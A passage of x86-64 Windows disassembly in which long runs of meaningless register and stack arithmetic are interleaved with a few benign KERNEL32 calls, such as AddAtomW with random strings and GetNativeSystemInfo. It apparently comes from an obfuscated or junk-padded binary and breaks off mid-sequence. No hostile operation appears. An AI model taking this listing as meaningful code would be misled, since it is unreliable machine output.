mov rax, qword [rsp + 0x4250]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b20]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c010]
mov word [rcx], ax
movzx eax, word [rsp + 0xd1c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x61c], ax
mov eax, dword [rsp + 0x208c]
mov ecx, dword [rsp + 0x2070]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4df8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1b3]
movzx ecx, byte [rsp + 0x1be]
cdq
idiv ecx
mov byte [rsp + 0xe7], al
lea rax, [rsp + 0x4740]
mov qword [rsp + 0x4f40], rax
mov rax, qword [rsp + 0x40a8]
mov ecx, dword [rsp + 0x20b0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x40a8]
mov dword [rcx], eax
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x3fe8]
mov rcx, qword [rsp + 0x3d08]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3f60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4058]
movsx eax, word [rax]
movsx ecx, word [0x14018bf08]
shl eax, cl
mov rcx, qword [rsp + 0x3f98]
mov word [rcx], ax
lea rax, [rsp + 0xcd4]
mov qword [0x14018c0a8], rax
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x4f50], rax
movzx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0x3e38]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4c90]
mov word [rcx], ax
lea rax, [0x14018c030]
mov qword [rsp + 0x4f58], rax
mov rax, qword [rsp + 0x4ca8]
mov rcx, qword [rsp + 0x3ff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x41d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1c3c]
shr eax, cl
mov rcx, qword [rsp + 0x47b8]
mov dword [rcx], eax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x4f60], rax
mov rax, qword [rsp + 0x4c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ce0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20b4], eax
movzx eax, word [rsp + 0xc94]
mov word [rsp + 0xd68], ax
lea rax, [rsp + 0x3880]
mov qword [0x14018c0b0], rax
mov rax, qword [rsp + 0x4890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x4f68], rax
mov rax, qword [rsp + 0x4828]
movsx eax, word [rax]
movsx ecx, word [0x14018bdc4]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc4]
add eax, ecx
mov word [rsp + 0xcd0], ax
mov eax, dword [rsp + 0x2034]
mov dword [rsp + 0x20bc], eax
mov rax, qword [rsp + 0x4238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c0]
and eax, ecx
mov rcx, qword [rsp + 0x4638]
mov byte [rcx], al
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4780]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb48]
and eax, ecx
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0x4ab8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c038]
mov word [rcx], ax
mov rax, qword [rsp + 0x47e8]
mov rcx, qword [rsp + 0x3080]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4120]
mov qword [rcx], rax
lea rax, [rsp + 0x4878]
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x4eb8]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3080], rax
lea rax, [rsp + 0xce4]
mov qword [rsp + 0x4f80], rax
mov rax, qword [rsp + 0x4450]
mov rcx, qword [rsp + 0x4880]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [0x14018bf10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x152]
or eax, ecx
mov byte [rsp + 0x1ad], al
mov eax, dword [rsp + 0x1ff4]
movzx ecx, al
mov eax, dword [rsp + 0x1f7c]
shl eax, cl
mov dword [rsp + 0x1c00], eax
mov rax, qword [rsp + 0x45f8]
movzx eax, byte [rax]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov byte [rcx], al
lea rcx, str.B_tJC7n
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xd5c], ax
lea rax, [rsp + 0x201c]
mov qword [rsp + 0x4f88], rax
lea rax, [rsp + 0xd04]
mov qword [0x14018c0b8], rax
mov rax, qword [rsp + 0x4070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x49a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4370]
mov word [rcx], ax
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0x4f90], rax
mov rax, qword [rsp + 0x4a78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x33f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f08]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b28]
mov ecx, dword [rsp + 0x2074]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
lea rax, [rsp + 0x175]
mov qword [rsp + 0x4f98], rax
mov rax, qword [rsp + 0x4530]
mov rcx, qword [rsp + 0x4310]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x41e0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5c8]
mov word [rsp + 0xd6c], ax
mov rax, qword [rsp + 0x4920]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
add eax, ecx
mov rcx, qword [rsp + 0x4370]
mov word [rcx], ax
mov rax, qword [rsp + 0x3f70]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018bed0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xbc0]
movzx ecx, word [0x14018ad20]
and eax, ecx
mov rcx, qword [rsp + 0x4078]
mov word [rcx], ax
lea rax, [rsp + 0x48b8]
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x4c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f70]
mov qword [rsp + 0x4fa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fa8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
lea rax, [rsp + 0x1ec4]
mov qword [rsp + 0x4fb0], rax
mov rax, qword [rsp + 0x4ab0]
mov rcx, qword [rsp + 0x44f8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2d60], rax
mov eax, dword [rsp + 0x1f68]
movzx ecx, al
mov eax, dword [rsp + 0x201c]
shl eax, cl
mov rcx, qword [rsp + 0x40c8]
mov dword [rcx], eax
lea rax, [rsp + 0x1bf]
mov qword [rsp + 0x4fb8], rax
movsx eax, byte [rsp + 0x1a0]
mov rcx, qword [rsp + 0x47c0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x49b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4be0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd04]
add eax, ecx
mov word [0x14018bdc4], ax
lea rax, [rsp + 0xc64]
mov qword [rsp + 0x4fc0], rax
mov rax, qword [rsp + 0x3e38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b40]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4460]
mov word [rcx], ax
mov rax, qword [rsp + 0x4220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
and eax, ecx
mov word [rsp + 0xcc8], ax
lea rcx, str.uF0mD_J0ZU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xd70], ax
lea rax, [rsp + 0x4258]
mov qword [rsp + 0x4fc8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f94], eax
mov eax, dword [rsp + 0x2050]
mov rcx, qword [rsp + 0x4570]
mov qword [rsp + 0x4fd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fd0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1b14], eax
lea rax, [rsp + 0x1bb]
mov qword [rsp + 0x4fd8], rax
movsx eax, word [rsp + 0xcdc]
mov rcx, qword [0x14018bdf0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4618]
mov word [rcx], ax
lea rax, [rsp + 0xcc8]
mov qword [rsp + 0x4fe0], rax
lea rax, [rsp + 0x3038]
mov qword [0x14018c0c0], rax
mov rax, qword [rsp + 0x4218]
mov rcx, qword [rsp + 0x4aa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3e70]
mov qword [rcx], rax
mov rax, qword [0x14018c048]
mov rcx, qword [rsp + 0x2fc0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4958]
mov rcx, qword [rsp + 0x2fc0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3250], rax
movzx eax, word [rsp + 0xd08]
mov rcx, qword [0x14018bf00]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x49a8]
mov word [rcx], ax
lea rax, [rsp + 0x1be]
mov qword [rsp + 0x4fe8], rax
mov rax, qword [rsp + 0x4c40]
mov ecx, dword [rsp + 0x1f10]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x47a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4680]
mov rcx, qword [0x14018bfc8]
mov qword [rsp + 0x4ff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ff0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
lea rax, [rsp + 0x2010]
mov qword [rsp + 0x4ff8], rax
mov rax, qword [rsp + 0x3e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4340]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14018c020]
mov byte [rcx], al
movsx eax, word [0x14018c080]
movsx ecx, word [rsp + 0xd24]
sub eax, ecx
mov word [rsp + 0xd20], ax
mov rax, qword [rsp + 0x3a70]
movzx eax, word [rax]
mov word [rsp + 0xd74], ax
mov rax, qword [rsp + 0x3f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b0]
add eax, ecx
mov word [rsp + 0x8f4], ax
mov rax, qword [rsp + 0x3428]
mov rcx, qword [0x14018be90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4550], rax
mov rax, qword [rsp + 0x2fa8]
mov qword [rsp + 0x5000], rax
mov eax, dword [rsp + 0x1d4c]
mov rcx, qword [rsp + 0x4708]
mov qword [rsp + 0x5008], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5008]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1c00], eax
lea rax, [0x14018bdc7]
mov qword [rsp + 0x5010], rax
movsx eax, word [rsp + 0x69c]
movsx ecx, word [rsp + 0xd6c]
and eax, ecx
mov rcx, qword [rsp + 0x3f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c90]
movzx eax, word [rax]
mov word [0x14018c0c8], ax
mov rax, qword [0x14018c028]
mov rcx, qword [rsp + 0x47b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e28]
mov qword [rcx], rax
lea rax, [rsp + 0xce0]
mov qword [rsp + 0x5018], rax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov dword [rcx], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4010]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x177], al
movsx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4050]
mov byte [rcx], al
mov eax, dword [rsp + 0x1c3c]
mov dword [rsp + 0x20c0], eax
mov rax, qword [rsp + 0x4cb8]
mov rax, qword [rax]
mov rcx, qword [0x14018be10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c50], rax
mov rax, qword [rsp + 0x4640]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
or eax, ecx
mov rcx, qword [rsp + 0x4148]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2018], eax
mov rax, qword [rsp + 0x4b30]
movzx eax, word [rax]
mov word [0x14018c0cc], ax
lea rax, [0x14018c018]
mov qword [rsp + 0x5020], rax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x45d0]
mov qword [rsp + 0x5028], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5028]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4028]
mov qword [rcx], rax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x5030], rax
mov rax, qword [0x14018be60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc4]
xor eax, ecx
mov word [rsp + 0xd68], ax
mov rax, qword [rsp + 0x3f60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2b08]
shr rax, cl
mov rcx, qword [rsp + 0x4210]
mov qword [rcx], rax
lea rax, [rsp + 0x69]
mov qword [rsp + 0x5038], rax
mov eax, dword [rsp + 0x20a4]
mov ecx, dword [rsp + 0x203c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5020]
mov rcx, qword [rsp + 0x49d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2e48], rax
mov rax, qword [rsp + 0x47f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca8]
add eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
movzx eax, word [rsp + 0xce0]
movzx ecx, word [rsp + 0x8b0]
and eax, ecx
mov rcx, qword [rsp + 0x45c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2064]
sar eax, cl
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
movzx eax, byte [0x14018acda]
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x2fc0]
mov rcx, qword [rsp + 0x3250]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3880], rax
lea rax, [rsp + 0x2e28]
mov qword [rsp + 0x5040], rax
mov rax, qword [0x14018bf10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1bc]
sub eax, ecx
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0x4998]
mov eax, dword [rax]
mov dword [rsp + 0x20c4], eax
mov rax, qword [rsp + 0x4618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcdc]
add eax, ecx
mov word [rsp + 0xc7c], ax
movzx eax, word [0x14018ad20]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018c038]
mov word [rcx], ax
mov rax, qword [rsp + 0x48a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4830]
mov qword [rsp + 0x5048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5048]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b78]
movzx eax, word [rax]
mov rcx, qword [0x14018bf00]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4d4], ax
mov rax, qword [rsp + 0x45e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x49f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x32d0]
mov qword [rsp + 0x5050], rax
mov rax, qword [rsp + 0x3f30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
add eax, ecx
mov rcx, qword [rsp + 0x4bd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4390]
mov rcx, qword [rsp + 0x4cb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2b08], rax
mov rax, qword [rsp + 0x43c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bec], eax
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x14018bfd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov word [rcx], ax
lea rax, [rsp + 0x3080]
mov qword [0x14018c0d0], rax
mov rax, qword [rsp + 0x3f90]
movzx eax, byte [rax]
mov byte [rsp + 0x1c4], al
mov rax, qword [rsp + 0x3e20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x202c]
sar eax, cl
mov rcx, qword [rsp + 0x44b0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xd50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd78], ax
mov rax, qword [rsp + 0x4d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4148]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd44], ax
movzx eax, word [rsp + 0xc78]
mov word [rsp + 0xd7c], ax
movsx eax, byte [rsp + 0x1c1]
mov rcx, qword [rsp + 0x4290]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3ec0]
mov ecx, dword [rsp + 0x2038]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1c80], eax
mov rax, qword [rsp + 0x4c98]
mov rcx, qword [rsp + 0x4a98]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xce4], ax
mov rax, qword [rsp + 0x4948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14018ad3c], ax
mov rax, qword [rsp + 0x4350]
mov qword [rsp + 0x5058], rax
mov rax, qword [rsp + 0x3080]
movzx ecx, al
mov rax, qword [rsp + 0x33f8]
sar rax, cl
mov rcx, qword [rsp + 0x47b0]
mov qword [rcx], rax
lea rax, [rsp + 0x2e48]
mov qword [rsp + 0x5060], rax
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xd6c]
sub eax, ecx
mov rcx, qword [rsp + 0x4828]
mov word [rcx], ax
mov rax, qword [rsp + 0x48d8]
mov rcx, qword [rsp + 0x3ea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2b40], rax
mov rax, qword [rsp + 0x48d0]
movsx eax, byte [rax]
mov rcx, qword [0x14018bee0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4468]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4720]
mov dword [rcx], eax
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0x5068], rax
mov rax, qword [rsp + 0x3e20]
mov ecx, dword [rsp + 0x1d40]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd24]
sar eax, cl
mov word [0x14018c080], ax
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0x5070], rax
movzx eax, word [rsp + 0x544]
movzx ecx, word [rsp + 0xad4]
add eax, ecx
mov word [rsp + 0x9dc], ax
mov rax, qword [rsp + 0x4498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4350]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4690]
mov qword [rcx], rax
lea rax, [rsp + 0x2010]
mov qword [rsp + 0x5078], rax
mov rax, qword [0x14018c020]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4238]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b0], al
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x5080], rax
mov rax, qword [rsp + 0x4190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce8]
xor eax, ecx
mov rcx, qword [rsp + 0x47f0]
mov word [rcx], ax
movzx eax, word [0x14018ad20]
movzx ecx, word [rsp + 0xcf8]
or eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov word [rcx], ax
lea rax, [rsp + 0x3320]
mov qword [0x14018c0d8], rax
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
mov word [rsp + 0xd80], ax
mov rax, qword [0x14018c0d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x5088], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5088]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4218]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3038]
mov rcx, qword [rsp + 0x2ec0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bd0], rax
mov rax, qword [rsp + 0x44d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4998]
mov qword [rsp + 0x5090], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5090]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4a70]
mov rax, qword [rax]
mov qword [rsp + 0x5098], rax
movzx eax, byte [rsp + 0x1be]
imul eax, eax, 0x4e
mov byte [rsp + 0x1c4], al
mov rax, qword [rsp + 0x40c8]
mov ecx, dword [rsp + 0x2064]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c5], al
mov rax, qword [rsp + 0x4d48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c58]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018be7c], ax
mov rax, qword [rsp + 0x4a60]
movsx eax, word [rax]
movsx ecx, word [0x14018be58]
and eax, ecx
mov word [rsp + 0x3b8], ax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x49b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb78], ax
movzx eax, word [rsp + 0xd60]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4070]
mov word [rcx], ax
mov rax, qword [0x14018c098]
mov rcx, qword [rsp + 0x2e28]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4060], rax
lea rax, [rsp + 0x1af]
mov qword [rsp + 0x50a0], rax
mov rax, qword [rsp + 0x4ae0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1ca8]
shr eax, cl
mov rcx, qword [rsp + 0x4720]
mov dword [rcx], eax
lea rax, [rsp + 0xb48]
mov qword [rsp + 0x50a8], rax
mov rax, qword [rsp + 0x43e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e70]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x41f8]
mov word [rcx], ax
lea rax, [rsp + 0x4550]
mov qword [0x14018c0e0], rax
mov rax, qword [rsp + 0x32a0]
mov rcx, qword [rsp + 0x3718]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5060]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2ec0]
mov qword [rsp + 0x50b0], rax
mov rax, qword [rsp + 0x40b0]
mov rcx, qword [rsp + 0x2b60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3428], rax
mov rax, qword [rsp + 0x43b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8fc], ax
mov rax, qword [rsp + 0x4fb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b58]
mov byte [rcx], al
mov eax, dword [rsp + 0x202c]
mov ecx, dword [rsp + 0x2028]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4410]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4008]
mov eax, dword [rax]
mov dword [rsp + 0x20c8], eax
movsx eax, byte [rsp + 0x167]
mov rcx, qword [rsp + 0x4b48]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c1], al
lea rax, [rsp + 0x4440]
mov qword [0x14018c0e8], rax
lea rax, [0x14018bf48]
mov qword [rsp + 0x50b8], rax
mov rax, qword [rsp + 0x4d48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc70]
add eax, ecx
mov word [rsp + 0xd38], ax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x44a8]
mov rcx, qword [0x14018bec0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x49f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4420]
mov rcx, qword [rsp + 0x47b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4898]
mov dword [rcx], eax
lea rax, [rsp + 0x37b0]
mov qword [rsp + 0x50c8], rax
mov rax, qword [rsp + 0x4168]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4870]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3e88]
mov byte [rcx], al
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x50d0], rax
movzx eax, word [rsp + 0xcb0]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018ad10], ax
mov rax, qword [rsp + 0x2bd0]
mov rcx, qword [0x14018be90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x48b8], rax
movzx eax, word [rsp + 0xbc0]
movzx ecx, word [rsp + 0x544]
shl eax, cl
mov rcx, qword [rsp + 0x4668]
mov word [rcx], ax
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x50d8], rax
mov rax, qword [rsp + 0x5068]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
or eax, ecx
mov byte [rsp + 0x1b3], al
lea rax, [rsp + 0x1b18]
mov qword [rsp + 0x50e0], rax
mov rax, qword [rsp + 0x4cb0]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4140]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c1], al
movzx eax, word [rsp + 0xac4]
mov word [rsp + 0xd84], ax
mov rax, qword [rsp + 0x4818]
movzx eax, word [rax]
mov word [0x14018c0f0], ax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x2ec0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x46c8]
mov qword [rcx], rax
lea rax, [rsp + 0x3900]
mov qword [rsp + 0x50e8], rax
mov rax, qword [rsp + 0x4640]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
sar eax, cl
mov rcx, qword [rsp + 0x4710]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d60]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x50c0]
mov word [rcx], ax
lea rax, [rsp + 0x69]
mov qword [rsp + 0x50f0], rax
mov rax, qword [rsp + 0x4ff8]
